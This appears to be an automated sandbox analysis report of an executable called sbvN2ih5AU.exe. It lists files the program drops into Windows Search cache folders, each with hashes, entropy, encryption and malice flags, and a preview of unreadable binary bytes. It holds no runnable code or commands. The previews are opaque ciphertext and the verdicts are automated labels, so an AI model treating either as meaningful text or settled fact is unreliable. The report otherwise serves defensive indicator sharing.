SHA-512:	C806B028B7CC6206A8FFCB65256C33CFC26307A6F5AAB1D8A52AC08955EB8E856E0B52A2BACB96C52F8D1EE703C9445E2ACB4C617E5CFA11FB946C6746CE6355
Malicious:	false
Preview:	Ej..DI.!.......W......Po^[..E.n....gL...{....p....eyn;...l....W9......L...K......'#./q1.8.!V.u.$...T3.Z=.....@sbk......"T..z..N.4..jxG....j;..z......J..3e....s.<...C...m..L.J72c..'..H...Ly..z/....{.O..i1....._a.`.r.Y..V3.. ......../......$'....2Q.e..[ .Cc.X/ B.j:c2.(...0.$.i.\..o....-......l..X.{.x.b....!...E..l.M...<.>\..01.B..E.#X..0.i...../..uY.u..Z.u...+Eu....P.in.u.O...rg..o.Q^....=.[[..Y.c.xm.3a..../.nv......:.0.;...[<'............!.Z.i..g..5....=Oi".8,b#!...Uw.p.....!L..c.l.....(.3u...u?.3.N..G-rV.7.C......Q.O ..Y.../.X...*..N......4}.&.t.{$d...X....t.'z+.xf.. C...t..oz@.I.R...&.!...%klQS..4o....d.6_CP...f]~}D..N.0l....s...Q\|/L..9.&.Ya...~.q.y..%..........n..q,{M-.....).T..qU..B\|....Z0.gY..8Y/.....=..]...L.i...p.:^S:..qH.>.Q8.+6Ip..!d..l..,T......,.....a.>..[.....K.8.....F..\|... (.........S..3.^0UVS...6...I.w..5t.?..V....4..l.E....[.I.f.'..P[.:EB...zV...^Z-M...Z...a.l..9.lD.(.<....w.Qq...q..G.;.x....P.....C^...=H...V.....A...!.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\0.0.filtertrie.intermediate.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	217852
Entropy (8bit):	7.583938536275759
Encrypted:	false
SSDEEP:	6144:+gwinu0+UTmI8aUlChpINmmA8B+MRonjCxc81Cdo:tdTmIAosB3RoO
MD5:	3696D65683F19D5ABC66EC4EA0A1A0D5
SHA1:	C0F6AF816A8BA0ED7B12EDC94B236FE12D4B441E
SHA-256:	C1214CB50F0AB3A0E2F7B1D626AF28E5B6693E8FBB679DAC3243B99F97F614C2
SHA-512:	F36E679B15D24831145EBF6035DAB0423D23E83A7670417223157C918DF16EE53F2AD2109E43E8FE1EBAD63FDDB3CC0C8B2CD5C2895E719557C8BA128B4449A1
Malicious:	true
Preview:	0.0..p.l.....E..x3.^.A.a!.$...}.)..g}..M_.O.?...2....!c>.t...?.K.....g.n....7..2c.eZ.Y...?n.e.x^L.O...A..M.".....xQk6......m........@.n.6....-.{L1..$...O...G.bR..Y.K...Fp......j'.p:........q..WJ./.+}.9..._+...\..j..d..../f.y.X.9`...rg.v...MKt.8..!.E..y!k:..6:r....Tf7Vg..fU...."B.E...C....^..........G~.s`:s........_5..4.`.....A<:.....U.N.9.Dw)Z....u.V9.H.....M"....V/......2.0....'3.DY."WYK.............0.1.x#5..,..n.g..(X5H#.>..q1...z...G...X..6..j.{.......K...DX...eh..^,.5..=.../.2..;..'..^..?z....).B.>...tP..t.AT.JC..F...3..K...(..E..Z......R.R#UW*.D#.._:..z.!..O....7.2..@..~@.......\|...o1.#=c...+.V.....K..o..k.,v.^..y.i...._...V.g/W.%..x......F.TI.5+..]dPRk/iuk.......,.....6..UM. ..P\|6..J...I:T..7...Gz1N~..4.oK.. f5L<b.\...z.4 ...2.$&.<47..+k.r.Ex..+0..FT.VJH..g.7e.A.2..`...Oy...S~!.Q.>)..^..P............Sm..8w.$tyg...../g3w.>.Y.y.l.."...\2..i....$o.\|.........4...<+x..].U.X^k)....-.1.o..!%.D............?].....(.9......rg...\|'B7..B..R

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.ft

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	239538
Entropy (8bit):	7.352216351851597
Encrypted:	false
SSDEEP:	3072:MZO0+5FphjsJ95b+igS1T9Uynwod9K9wYQA4es8Dafy2gcC9ECNEFME3by/pcU7C:AV+DsLQigSDUqK9Q1EaHXCN8
MD5:	5DCBEBA1127D0EC4C0E02F1B48CDE28B
SHA1:	634E1ACE21385B612BF640097A5753C448C96F6B
SHA-256:	E197AEADC3E917E35952CA8A067F57A6ABA74E7A5D264626E4D16D57B5B2FC6D
SHA-512:	C44F4EAB10DB5BDD9A9B4DFA9F8781B5A3C2F78AB027978243A3D6F485F4BD07BA4582283A7D60ABF2FFDA27FE9B7A3CBEB6DDB5566A42502D65376FD7AB6AF8
Malicious:	false
Preview:	.........^..=.._"....-..p?...:L.x".8...X..'.....+gF.. .hd..j.Dm{..#.=.F..'..k...T /.......H.-..,.....F..+.\|T...v.m.L~.^=.M'.^..`.G1.F1.3o..2.#.v...Q..W..N.U..J..d$.......c.....x....a7.h...Y.\|.SPV.H%.9....f...Uu.+...?...W...........^....]jcS2.O...G.=._}43....+.k.J/X.....S.N]eM...>V....}......vE~....R...$..wT..q,..zE+&..j.7...m...\.6G.y.._.X.R...q=.JV=^..".....+.$m0....P>...2......Z\V\|mT.R...dg..F.h...-...Z@.B.S.](.k5.^y...y.{..V.h....4.g.D{..Y1.7bV.:G[...x.......Z....`...z.nZ........`gZ....h....F..t@...U...e{.fQE..Y.<.[..{\|E.-..;1..v.).J:\|\..\B...\-.m^Uk...L.....8.."..n5u.O._.yY).X5...h...~E....-.46c..W3v{..1.k...5z>.Z.%.&...m'U..Y...d.v..Z._..'..7>.6...?..;..`7.:t.!..P.....;Wwl......Y......F..Mj....c.A...rc.6....BXe&6k..;..bU.JQ...J..%.....1.....+.U)h...m...A....g.W.-T..sx.>..:~..o.a..^.N!.].$ii...z.q..x.G.Tl..V...q../M5..*.....!......&..=....{L..u....../.z....wd[K!&-K.,x..RQ..'...meN0..~a.M.,W_..3.:....._PW..O..Jt..P ..%.....b....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\ConstraintIndex\Settings_{97b27011-f8cc-4ac9-9531-d6ee8ce92324}\Settings.index

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1482186
Entropy (8bit):	5.658187583987604
Encrypted:	false
SSDEEP:	24576:/M+Bjt6az+F3jv8COuZ/kr2bEEYz1jBa/mqkNRM3lVKSuY:/PCF8hR3z1rM3lVKSuY
MD5:	6BE40889105681449D76BF3EA67F40DA
SHA1:	40FD1AB1B9BAB2DDB17EC9D027AC0676094E1CBA
SHA-256:	D57C8F5DBC835C9EB2783A2F1D606988BD0E4ED1A3FEAC2DA57EE2A58C525EAC
SHA-512:	605AFF08EA261569CF1503541C19C3E3465EC7BF547259BCD5B2A91C86C92C3C4886C03DF33BFE95603CA27E7F8EE2162BA5F33BE062F7B3D6A2EC1F7BF4D0FF
Malicious:	false
Preview:	Ej..D}\|.......{l..W.oM..2.j.t....,H....}.+....N....CN.UK.R\9q...."...w..L8..g.......qu:_.V.Ox<`......L.9F..z8..yudg..x.3e...!4.m;l..JG..$....=.-...\...!..O3...!Z..6~.....]..ZX....R.N{_Yv^.Y.8b.%B.h...........A...c.qD..$t.73.>.S..c...,.....(&..e..i..8.....0..z..C..:......W..k7b...(.K...r...X.u.X.V\|.GGq..yR. .d.-..a ~...'U...Zn.uf...K.h0..+..........&.8...JD.9.....R.tWD..q...Pp7...ADcqZ.i.....6w.:\|c7M8B7..Z.d.....~,.3...%2. E.P/E.'.^.Z....!.3a. nng.=.`.{..E....A.w.1.WQ.;..%).A......yI B%..9)V#~.(.....x.ZwA`..i.(......e.`,z)a...e...59.V.x....ze'.[. k....C...........a.....<.....v9...@+4.b...{.+.tF.....p......P.).y.....CE=..-.Z..T,..;.7.B....q..*....&x..0..JVz.@i.+BF.?3@....l.........7.-l.4H..w......O...Dk?om.c.1.h6..MG=.TX..#.y......].............c.\|...c.^.1K.7{E.^..n.I..\...Q..!.SI..iI.A.._J\|iE.......v.G......q........d"...=9...$;.-.....R....;.f.j^.}rQZ.g.J...bv.......R...%..p......)..;.o4N..f.]-H.RbV.1O.o.%.CW.....-...{..)n6..61

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903167889885.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.99827912684425
Encrypted:	true
SSDEEP:	3072:GbT292dJB5k4wKju3/E/RfyUCwzeUt85kFF/PEiEgZY:i02ddwOcEcfaTY
MD5:	909699BAE386ACD7748A6741D089E34B
SHA1:	3C41F9170E3B2491E2FE8D1EF6E72902182F7C35
SHA-256:	26F8F1160CB2913AB7B302A0B22581F46B296312F6A711FDEC7F7214EFB5C2CA
SHA-512:	09137E4BEE4C68D3AACAFA1DB3AD10D54E6DCDA5EE3252DA48FD50D5102681E9AE773FFB1CEBB3C0494EC552145CECD5BDA6365350B817E0EF79928E834D04DD
Malicious:	true
Preview:	[{"SyN...o..O.2zm.;T..\|..).BT.Bcvh..c).5._.?7?....Y...d9..4....x...L._..y....[......e.......-..&...;2...}^R_.s.Y.._o...G@i...s..g....a..[...{pV..Q.m..G...y..g.-.t.G.{.v%.J.=`..K9.L..,..!.Z@..';......G..M_Zu.....7R$\<U .Z.h.......b{..........^-...3.<U.k..j..w...B......;.1.h#..`.6.3....8Gl.'.......eT...m.'.F...l..q?...^!.T... ..Y.+:....L..........n]&....R.."r.j30[:k...).?.2/.8!..d..B..i..F..k.....(.M/..L....>U...L:.E].gTy.X....pm ...[.<G&'.n.&....Z.w..(_..vH..A..Q};.....wX.y6..O.....d..}..^.@[{Xl.....(w.\F-gM........b...?....o........H>#.......".W..z....$.Q...F.u>W..V.....W....[......8<..E./..Qg3.b..G.A.....]\|a.....}...E...a..!..b...M]..."w.r......~.yUFh87C.....1............#\E../Y.z+....K..1K......5.E.?u..Sfa?C.w.[.7..Vmcz5"I.I....i...a.>9DVV.2.Ug)...\..2...:.z....kF..........-...-..u..`)...$wq9..<s.?......6l...\..5,......6.PtsG....3..s..LE......m..!pw_F...?r.M")GS3..=..gPj0.<(0s..nKyK.W.Ii.`.,....).K.i....i.....p...B....,..0M..q]...."V

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408903214673664.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	105937
Entropy (8bit):	7.997994741724434
Encrypted:	true
SSDEEP:	3072:n5Ufx6taUoJLL/NfOkWczNPiAL8QLkIGWNbPm47V:s65ohbl1zN5LOWNT7V
MD5:	84D578082CD69E7317D9D200D2A6D720
SHA1:	074C02108B4038C164A933B09EE9BEF4012B1479
SHA-256:	30E41D8ED5FAABCBA0117800B88F1E0ACB6BFB070125DA0CD19D9906D8127A3F
SHA-512:	D5D46FD9F020D1419590DD04732666E9B98B9702A6CDEC043A2723FB0991197242D4215F6AA31DDCFCA099571B783AEF6839A21285F08CEBEA755D13D9E69F30
Malicious:	true
Preview:	[{"Syl-G<.<...GL3i0Ct..R.l.....k...?J....V.gvO..x....... ...\...8.0...\|%<m.e.<.....4..*.&..x..c.h..P"...>.E.\|.Y.$...$....6f.g.....2..!=.>...`.WnL...O.1.pO. ...U..FN..ODm.V ..\7..}...]y.^....x..z?..A}..-....<.....Z<_..z}.R$j.......\|.iNc..S...G.#..g..]...........Z...".e..........%U..7r.....&..iTtD...[....k#..d......zH....T..Ht..k&m.4.7..:5J.b&..C.G.$..ib8?c..r...T....KQMzB.:..C.j..O.P.Kf.......5...MZxU.?!%.......Rv....@5...h.ca+\\|./n...[.Z....-..%W..#.C.0I....S..'.Y....X.2..XC.#.c......Z...1..,2.(ux6..(/..U2..h.:j^.h.$N.fP..(..w..~@.<..m..J........K..dm@G.._V.Ri.g..R.....5../d1.9.(..s.j..z...p...%.....]...."\..;t:..p`Z42..lA..2.c.T.Q.3..mAQ4..(A.....%~.,}H.y...+..8....i.{cXz.]..3..URw.%2pcA.n~..$4....g.f...o.E....f..J............K.....#...<..1....gM.S.:5m.Zd)..u".aV./..8..~....+UF......33 !..Z..Z;Vuw..w..........B..n...].bC6.-L...Wl.-.tLz....n......@.A.VM.... ).C.....#......g..b..-.....E/.....L.....x;fZ.....(..a7.>~.@.[...6..7..U.-F

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408904996229952.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998369040485933
Encrypted:	true
SSDEEP:	3072:C/JNCejJiraVkIOhwe1hrF46nBV6dlD1KOsA+HnLJS0nYFYR:EJ3jJiraVw93rRIlD17j+HVvD
MD5:	2A0F63CF551EE1D3167B3B2D9CD05175
SHA1:	A48597743D804659C6EFE4F5D8E6A55D9BB5E42C
SHA-256:	9597CFEAF9C72EBD78162F98C36D3873270F9D2B0A2D5E96286494F4AC58CF21
SHA-512:	9B70AFD0A48B031660903ADCA450560314DDB55E231791139D5C0354496FFEFAE8CD901C6565718ABBDCFE5C742E4216BB305D13FB6F1C443E15BFCAB4DEEFC8
Malicious:	true
Preview:	[{"Sy....Ah...'.G..Z.Z...`P...h..H...@.E7...b.4......6.....Ww.(...U.N".......]{..Do.....M>"..Xn....%1MU/.S`.S.>^Z3s.D...`<.k.."}.[.V..T}......g.t....d!\1r.Vyk......5..yUH.Yo....[...............#...P{k..!Y.'.t2uF..b.D..w..K......-b...b.20..y..#.{..R.<....6...$r.x.m.g.-0........."...r.@..4.....uDb....Egw.....}n.C..g..^...;6E\|.&...w.9f..(..OG..gi.\|..P....8.6~.../...'....[.>+.k.."....J...;...ubHIj...O...,i.....&1K........a...A[..5.<..z..D.;."..M.pZ../...6..5.e.WP....C...N...yM..l....J.....B.............vp...n:.!...4{ .I.....,.O)D.r....ze.;v.}.(}.u..R..\|.W.F...Y.E 9.=...qw.A.y.;Wi.X.^........3W.r"Z..Y\|.......VJ......q.......1t..D.J3a.C..W....Y.{-..-.....=.U;..o.UW...B..K.....&."W-o~..M.._.+S..HT$...S...R.....S.s.Ij..t1...v,!.....wA-p.....\|.c...bj..\..]......^..P.....<M.5..#.S.\|..~...h.......x...G_E.....?..T...@<..:....+.=.......B.o......y...41C%(m....U..p.8....'Ln"./wK..4....j&8...y.7f!#..2.......9......h......}+......".<....l.fU...a...{.v.F..n.B@..=('.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906321630689.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.998213796252478
Encrypted:	true
SSDEEP:	3072:F6sO6YiaQv3MxbCITCPDcKF4chT99tcWrjt7:F6JQ8CITCPD3F46B9djt7
MD5:	1ACBD65DA2180492E61FAB77EADDBEF0
SHA1:	B1A652C4DDF1746F0729D4C44606B3C75B8C83DC
SHA-256:	67DEB3E6C51C2A484176C9BF37872887B9ADB5231C3539475AF159E5C1B8F7E3
SHA-512:	F7A5F2B9E0CA3A2161165C1F5C8D24A96D439631529CD581AB07A6C6E1CF136960BB5ED63E82EA86AE100EAB94CBE08336890A5F4387F7587C61998058B0A205
Malicious:	true
Preview:	[{"Sy..w..J9...7........e5j~B.-../..M.W.^.I\.....e....G.....z.."^."../yA`.>.I>.^.]$d.........xr....5...~.t.&.'...w..g.1....t(....[c~.-8g.2./:k.4.#yk~....-E..U=..f(.....,.i...83...........".jE..M..........o....z....<...C..o...m9(TA...'......w.x=o5l.....Z...M.c.V.(Ei.Lm.....3.U<\.y.U.....a..,...<x...Y...Dy......,........_r."HYl..@......N.I.T(.f..Q..W..<.5~;.+.%\..EP....(.F.8..0....D.=...$e~Gj..Q..s..#.?W....L.<.mi.~f..:g`.k......s.Znn,^.V...H.....d._9..m.6.W.`Ir-<..v_.u............?...s...E....-.t;I^.$ ...FW..f...S._.Y.h2c.~.r.<..4#z......:q.m..Xp\|.Ry...D....?&.......d2.,.>....!k..q.(...-f.t.TYf.8...Uu.I ..,}...b.9..._.i.r.4.....I....Xk..}..g.a,..s<...v?.J...v.bm.../_..J.c.D'L._.r..X.M....-.._]W....S....Z..!j...U@..,..C..B:;L<......X.p......:U.....=..T.!R... ........i._.N...l...>.7J...J....0=..GX.....e.K..#.(W.Q@.ig..Am.8.....sUi....K.c.k.S.....r]+.dk...U....V4Z.(@J..gc..K....._.C........\|w...6.[.SR.E4Rg.L6h.;.;g.....8.\....i...q..9......

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408906620712704.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	118527
Entropy (8bit):	7.9985778006188175
Encrypted:	true
SSDEEP:	3072:1rnqFg/0sFnX5y+tERXyZ/64MU4fNpxO4pj:1rmg/hFXgSa8AHtppj
MD5:	A8A3B77354EF90691925C481881C16D9
SHA1:	A68678C46D8A6479291097AB2E7FF6D268BADA08
SHA-256:	2FEB3968BDDC1EF55C11BCDAAFB82B2AF747C348B5CFD36A5BB70EC2E30471CB
SHA-512:	51E23B5657990709562DBB07A96B3B22DBAD498D028A77191BE9865D846D54B9F85BF6157A1FE76FFEB1E1F09D5B0CADE0D96E05041EA0B98AA8BE0CDDB19683
Malicious:	true
Preview:	[{"Sy..y.?./.^.....pk.. 1.....2.I@-........(S.(gy\.>...do.U%+.&..@K....zV..X......^.`q..}...u..Q.w.F....>.+.....f.\|..Q..L.G.m.0......$....:...u........A..S.7.....V..>.5...Mkr....)v.I.'4.F.\|'E.8k\.7....Q.ao..b..a.{.9s..]O6..Emt..i...<..".......v.w(.)T..R,x4?YU...}.y.8E.[..0G..I....1...m.D9...JX.....`..V.whp0....%t].o..J....Y.:..hL.....x0..1.Ch.. .05H.D.ig~[%...\|.....d...K6;......~v..%9...[.Did.m....5.....;q_.............o.9..\...r;v.9....h..#1...m.f`..m..s..."..:....../@0.TN..o..0.....nJ."C..TR+sX..y!...%;.X....7....]..qB.].wE.[.......c..S$....s..54.G...&$.-..........Kyj.5......o....:M.....0\|O.H.._ny^....n...u.@....$H\|..\...XH....-.DgC..qxF#..p....@.J.:.8mN_}.)..0.k$..(...;......&.x.\...........i.\|o...h3..G..i.^[.+.L..z..>..lH$Cb..J>.NT4[...".I.r.v..SU.is....TUh2...t...\|..j.X.&JN....@.U[.......M..Yp.S...H..m.......T`...Zx.....}#..~.......y.@Nb....../^....>.Z..k{n...."}.y..j.'F7........[...z..)...9=.fr....+.Xf3........Lg3.N.Q.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408907975188232.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	117246
Entropy (8bit):	7.9983535944502595
Encrypted:	true
SSDEEP:	3072:52dYoL+yumetdksDiTjJQE+K3NG9R3YlCrDt9I:4P14tGsDahx9aRUyti
MD5:	15FEA7FE4D9E7AA6BC8E527078337949
SHA1:	18EA7A4551692970AB2E3A4572E77B1F552FBD94
SHA-256:	D899870643B8BC755F1CFA7CA9A7C9E5A113CC6D3B0CD32211FBCE838D057FEE
SHA-512:	B89C78817AFA2C935FEA70E56D56E93D8C014BF9015F3BC5DEE0AFFE76CC57CB3D86DEE00BD3CBD8609B083D0612119E12EE8DA008214EE28F5D243DB56B6E67
Malicious:	true
Preview:	[{"Sy.{b<.u..N..S.L.lR6...%L..>ER....k.........;.XR..U4.g...HK.....l.[....@...8.`3....2.li.L..J s..X7.......dZ..y.0.<h .2^.C..%.N.:4.\t6..Sp.......S)..-.L...rHx..=Y6......'2..w.`.I......7[..:i.q@L.Yt.....n.....P....YFYui...h.BSMpc'p.n..-fN......zZ....j....X..52..MuW.c....)....H.)...P.eN.....Y.~.+.#by...(..$....j8<jS!.-.........mxL.h.Rf.V.={......x..&....VI3....R......5..'.Z.WC..^....$...1......(q...r..1}....2.MB(.7d/w.!eT.......,......z..i..-Q a.C.%.......1......F.....8.Qv..6.hb...z.]..%..S[R^AE...........?.(.....O'....f.K.........p.........X.K.,..C.Rk.....S3...@....@......_..6.5.....a3.U$:."...\|..9..U.,U.n.}..J.....>...H"..K..F"=.r...9Q;..1....Vb..}.d.A..........2...._q6......`.....B.cv..~..5V.g .?.n./.D..a..h.t...Y.1.,V.~k..L.....L.+..@4 ..V.<Ib.Iw.#...)C0~......)...%..?B.\|c....F.T....(.....].......=~.Zw#HUS.../GzC.v6..+..:...6.Q..h..x...dx....;iaD-.~.,W...@.7;...p...=.>.....\...T..N}.-.\B./J.ug"H.W...x..7-NV.%O....$..{..F........#...

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408908224609935.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	116817
Entropy (8bit):	7.998501073944474
Encrypted:	true
SSDEEP:	3072:OeEqh7cZCOPc0h0Kz4b7+5zeKCG9yL5zXJVf:B1aCOPj3GcCXWKVf
MD5:	FC13F3861918489EB611FC9FE10E2D3C
SHA1:	2B12A21F2D5E4B2B38D2A5229B17445D6B1C5FD8
SHA-256:	656AB1A3DD3FD095FB934071A805A7ADE857FDB2212B271789FA503EB06C17FF
SHA-512:	FE2E6EE585D74E69D9CA2A843D878B09BFC3DDDD3BBB30FE0E9DC02BD3F4479002D715AB09809313D3608C3F66B81B8CB83DCF919FF3F4823DA9FDFEC117E8D4
Malicious:	true
Preview:	[{"Sy....!.u..uJ.w...R9.7.rVw....\|..;.'....p0i.l#I...#....yXd.Z.....5.x.].[..KF^Gz...3b.J".A.>S7.~hGVm:.8.w.wr.dlN....*.o.A...Qn..L..(......;6Du..k...W.I..&.wWsh_...Q.%d.>7....:.....Vy~....A.y..5....9d(..u4SIs'1.S...2.]?.`.B..B.8..R..4.7.........H.T.>.3.>.^\.~......hEz.[?....I..#.."8....{...1.&......0..C...].g5y1.i......h".X..fv.nZ.......4..u.?...m..y...%.u...W.......f.L\|.:........K.}%rJ.....H.)O...!.St...o..V/}.?j..3C...XG...loy...j.=f..\Q...^......c...T.u1.S.l....U_..H../.o(%...A.^a.....`.L...v... ..E...&^.j....,...i......}....R,..H....<..lZ.U..p.G.?S.1.+P...Gy.s.v.a........\W.....m@.c\|T..2.4r"..5......,...V.Y.v91..L..I...I....f....,..=..l...{.x^7C.m58q.....c..\|]..e..8#..t,......69.X.. .e...!..=hK..4...L!... .;.{......Y,I...&?.$..a....8A........;.S.k.Eb..a'...#.S....w...D......\|.....`..J...8F....-....n.3.....8......K.[Qf.5...k.#..\S..l).=...`G...I.....$.o.....H]...).G.:X}UP..3u..(....-.y...b..).f.?D..O..^O...)"[..;. .~......h.#.

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133408945550119236.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998390921691613
Encrypted:	true
SSDEEP:	3072:GBea7OH/0e6sSp26ZbJTHYDRq8wyhnF58Tvi/Edx:G8aG/0eWPZbl4DRq87avW2
MD5:	8C0BBD56D1C47497B82F00029BFBC98C
SHA1:	98B8414159846456B618D7B93D061C3F0F1C07C5
SHA-256:	5F05A4BF7935BB0D8C02FB8BA7C6D1748E5B0B1ACD74051C5807EDE4F700219C
SHA-512:	EB17B6E30462C79FF50A22C07377008A782B721BF7D1F9FD45F7F9FF362099FE746DEEE62E5106423CF24E82F3379094D2C17D742D98C315CECC7442E3BAC3B2
Malicious:	true
Preview:	[{"Sy.!.!z.[.r. ......q}2.....<...._Z...3\.g.........c..`...!.r..O.....@...pt......."..@p.6."N0Q!.....3...n..n].Z~...,lg ...lx.D....1?...Vg!8.n-..a$.).d..9.{U.....:i.E...V.."8i.:.?WHF..T.0!._.d:...S...l/.>...^....e:......g......_q.X..!..<....v..5..1.\"...V+.j.....<....x?..".......a....c.....)...B0F(.7....f.$.J..).S.O..-.Z....a..@..<+..Y~....YmU>N...Y...u+...a.l.8.D!.m...W..U.2.%k...o.,W.A.W...ID.A.t!..5._..Y..Vn..2$...P\.nP.d.^i.....H...Zw)......R..9....U.....s54 .b...,`:Z.}g;.....u.k.q%A5c.."0rA...J......q./.H1.....H.1....?..vz.k...<AS?8.z.....b.O.c../'..1-....e...>$._F..Z[..A.7....m.......v.S.J.j........d....[..N..)@.^;.t......z....9A...3.....).R)G.....uP.?$S.,...E.Zu.y...3...M.U..##......#.H...bc.y.....zi.g....7ED.....y4.......C...66h=.o... ...Y...26w.........B.:jax.r.4p.}.....jpG2+.0.i.....%....&.$....C..<`v.K.'S...o^.M.-.......S.~.d......6xyK..o.%......f.O8V./.7..7{aH.83.+.........s....@].s$.N.1.t.......+&veZ......!Ho..

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache133493717534088190.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	115275
Entropy (8bit):	7.998240885184405
Encrypted:	true
SSDEEP:	1536:bnxuTWAi8DXPtvF0OmasMOERSbf7P4//0g2iLADUqSkZMGg6M55bFgJoOmNTBO91:bnxKTuE0bz4//qaJBkFgF5ztO4Y
MD5:	D2D7F53BBB3573BB482BF5EF9BEE3E5F
SHA1:	ECC5BC5FBDFB9A76EAEFEE1D4C9B421A22F97A3C
SHA-256:	BB2D564B1F4E8AF7D7E5698511E19E7E88BC4C4314ADC8660BA688E954C2E70E
SHA-512:	B090DFFA065280F67E149D9F2BF9EC8B0E250CDB09B8E2ED548B00475D4F1FAD4440E44595983C06CABDAB4E2610D8D5724C594EFD183250DD45AE4C3E5F13BC
Malicious:	true
Preview:	[{"Sy+..Y.....t].8a>.6..=.7..2...D.1k..A..1R..... .;...m..vP.9z..u...f.%.w.`...bq.j....n3....-.}../.U4n...g.......8.,..._w.a.w.9...S.k."g.Eu...q.......K>....{..X..n_TT.N0..o.....\|.y3...I...d...!./Mb'...!."..+t......3..e1..........u[....e....1.aI'Q........~.L.P. R.C{..mp.nvFr.JpA......ID..i......L..)....`>.PW.H..q..o..k...U.Z^.U.j..'...t.MOXM.c...(.....y...w......b.(b@..g....@..+....Z^.....E.,.G..O..R.p...}....P.Q..T?n..H.9.+./.y.... ..G....E....K.......Ix. ...........}.;Yr.d.w.3.zI}..P..M..(.,.E./8.:.R...c.g...0\|S....}.U..bZ`...b...W.!.......4...q.5Pj.{..d...;H.Ao'...A...I.d...h!.F=.T...t......!.$Pu.)....Sc..ZLT..>qK.N.".\|.z...zw.i.T...Ws...!!.S.\T..19#.{.......b.......\|..#..<..W.._.!\.XM/.v.Y..M.....q...}.T........goS.....$........6:........4...@1E4.4#...e.8B%o.43..K..........l%s..5H..VW...}?3....3L:mJ^..fc......=O.c+P.q.I..`.....T.@D..2...\s.._....Zi,..."#H.X.Q...~.r.N}....O_.s..`/...$..t.G.s_.c.q..;t.P...$l.........>'..AV.F+..We....

C:\Users\user\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\SettingsCache.txt

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	696930
Entropy (8bit):	6.209938338108107
Encrypted:	false
SSDEEP:	12288:S7Ut+TSm5x0OboGotdYuMOCc5MpzgroTDLg/:yTN5x/j1uMOCc5MpzgroTDL+
MD5:	ECAE035B0DCFD6403B0EE859E520F5CD
SHA1:	C07105FFFD5A418901041789057F013A85E4CAB1
SHA-256:	D0D9B98EA9EC15ADF3A4993FB94336BDFA587E9E9CB5ACE35602B1FDE4AAAF55
SHA-512:	959A8AE62310F2D853C09CAC50B972BAE4520B7600761CDC74A365B99490B53D05E7F34200F4CFE19389C85A5F25FFFF41EB7861A12C5DE6573AC10822C89EFD
Malicious:	true
Preview:	[{"Sya]..){.&".U.;.....f.i.'........0...zV.....&.p.0e..U.c...@..0I.P..OYK.y/.\....g\|W..8.`.B.d8.0.Dp.hd...e.x.k@U.L#........V.2.m..."...q.....A`.....!=...!D.l....2.^.a...J....D..........y....C..........Y..Z.=d..d..#/nOtP8..=...]...M..(.Q.q.......SRs{...NL.a...T7......\|K....H..M..e@....3..o....w;M..P.....X....4...!..irw%H'&...>..0.@.w.d[..}..3Z..S..].h......p..>....U..9tK..`g~....d..........m.A&..D!.]/.NA...a.......@.;A[.P..IC....P3.m..~=.....}h.9@W.....TM...D...F.'..{.AF......Ma.sY<.......#.JdT.x_l..8.S....@.....Cv..q....!.&..S..y.$Pd1D..F....(..$2...}.F.&(.)..z9.s{.......D.`\|O..:uU.07y..F.....}..."............:.o.F"...e@[.F..Y3&~a..._.Jmg......gO...x..J..../..+.ZH6....2....P%.......c.\[s..i.wj/#.G.."< 